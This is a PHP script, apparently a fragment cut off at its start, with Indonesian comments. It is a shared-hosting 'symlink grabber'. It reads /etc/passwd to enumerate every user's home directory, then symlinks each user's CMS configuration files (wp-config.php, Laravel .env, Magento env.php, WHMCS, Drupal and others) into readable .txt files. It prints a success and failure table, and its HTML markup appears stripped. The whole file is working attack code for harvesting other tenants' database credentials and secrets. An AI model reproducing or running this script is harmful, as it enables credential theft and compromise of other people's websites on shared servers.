'public_html/wp-config.php', 'Joomla' => 'public_html/configuration.php', 'Laravel' => 'public_html/.env', 'vBulletin' => 'public_html/includes/config.php', 'WHMCS' => 'public_html/configuration.php', 'Magento' => 'public_html/app/etc/env.php', 'Drupal' => 'public_html/sites/default/settings.php', 'PrestaShop' => 'public_html/app/config/parameters.php', 'Opencart' => ['public_html/config.php', 'public_html/admin/config.php'], // 2 config files 'osCommerce' => ['public_html/includes/configure.php', 'public_html/admin/includes/configure.php'], // 2 config files 'Concrete5' => 'public_html/application/config/database.php', 'MODX' => 'public_html/core/config/config.inc.php', 'CodeIgniter' => ['public_html/application/config/config.php', 'public_html/application/config/database.php'] // CodeIgniter ]; // Array untuk menyimpan hasil $results = [ 'berhasil' => [], 'gagal' => [], 'tidak_ditemukan' => [] ]; // Membaca file /etc/passwd untuk mendapatkan semua user $passwd_file = file('/etc/passwd'); foreach ($passwd_file as $line) { $user_info = explode(':', $line); $username = $user_info[0]; $home_dir = $user_info[5]; // Kolom ke-6 di /etc/passwd adalah home directory // Memeriksa setiap CMS foreach ($config_files as $cms => $config_paths) { // Jika $config_paths adalah array, itu berarti ada beberapa file konfigurasi if (is_array($config_paths)) { foreach ($config_paths as $config_path) { $full_config_path = "$home_dir/$config_path"; $symlink_file = "$sym_conf_dir/{$username}_{$cms}_config.txt"; if (file_exists($full_config_path)) { // Jika symlink sudah ada, hapus symlink lama if (file_exists($symlink_file)) { unlink($symlink_file); } // Membuat symlink sebagai .txt agar bisa dibaca if (symlink($full_config_path, $symlink_file)) { $results['berhasil'][] = "User: $username | CMS: $cms | File: $full_config_path"; } else { $results['gagal'][] = "User: $username | CMS: $cms | File: $full_config_path"; } } else { $results['tidak_ditemukan'][] = "User: $username | CMS: $cms | File: $config_path"; } } } else { $full_config_path = "$home_dir/$config_paths"; $symlink_file = "$sym_conf_dir/{$username}_{$cms}_config.txt"; if (file_exists($full_config_path)) { // Jika symlink sudah ada, hapus symlink lama if (file_exists($symlink_file)) { unlink($symlink_file); } // Membuat symlink sebagai .txt agar bisa dibaca if (symlink($full_config_path, $symlink_file)) { $results['berhasil'][] = "User: $username | CMS: $cms | File: $full_config_path"; } else { $results['gagal'][] = "User: $username | CMS: $cms | File: $full_config_path"; } } else { $results['tidak_ditemukan'][] = "User: $username | CMS: $cms | File: $config_paths"; } } } } // Menampilkan hasil dalam tabel echo ""; echo ""; // Menampilkan hasil symlink berhasil if (!empty($results['berhasil'])) { foreach ($results['berhasil'] as $result) { list($user_info, $cms_info, $file_info) = explode(" | ", $result); echo ""; } } // Menampilkan hasil symlink gagal if (!empty($results['gagal'])) { foreach ($results['gagal'] as $result) { list($user_info, $cms_info, $file_info) = explode(" | ", $result); echo ""; } } // Menampilkan hasil file tidak ditemukan if (!empty($results['tidak_ditemukan'])) { foreach ($results['tidak_ditemukan'] as $result) { list($user_info, $cms_info, $file_info) = explode(" | ", $result); echo ""; } } echo "
StatusUserCMSFile
Berhasil$user_info$cms_info$file_info
Gagal$user_info$cms_info$file_info
Tidak Ditemukan$user_info$cms_info$file_info
"; ?>